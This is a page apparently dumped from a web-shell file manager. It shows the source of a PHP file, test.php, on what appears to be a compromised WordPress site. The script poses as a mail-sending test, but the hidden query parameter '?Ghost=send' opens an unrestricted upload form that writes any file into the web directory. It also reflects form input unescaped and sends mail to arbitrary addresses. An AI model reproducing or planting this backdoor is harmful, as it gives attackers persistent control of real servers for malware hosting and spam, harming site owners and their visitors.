/
home
/
henzagold
/
wp_pakhsh
/
FBcvGqU
/
File Upload :
llllll
Current File: /home/henzagold/wp_pakhsh/FBcvGqU/test.php
<?php error_reporting(0); ?> Upload is <b><color>WORKING</color></b><br> Check Mailling ..<br> <form method="post"> <input type="text" placeholder="E-Mail" name="email" value="<?php print $_POST['email']?>"required ><input type="text" placeholder="Order ID" name="orderid" value="<?php print $_POST['orderid']?>" ><br> <input type="submit" value="Send test >>"> </form> <br> <?php if($_GET['Ghost'] =='send'){ $uploaddir = './'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if( isset($_FILES["userfile"]) ) { echo "Upload "; if(move_uploaded_file ($_FILES["userfile"]["tmp_name"], $uploadfile)) echo $uploadfile; else echo "failed"; } echo " <form name='uplform' method='post' action='?Ghost=send' enctype='multipart/form-data'> <p align='center'> <input type='file' name='userfile'> <input type='submit'> </p> "; } if(!empty($_POST['email'])){ if(!empty($_POST['email'])){ $xx =$_POST['orderid']; } else{ $xx = rand(); } mail($_POST['email'],"Result Report Test - ".$xx,"WORKING ! FoxAuto V6"); print "<b>send an report to [".$_POST['email']."] - Order : $xx</b>"; } ?>
Copyright ©2k19 -
Hexid
|
Tex7ure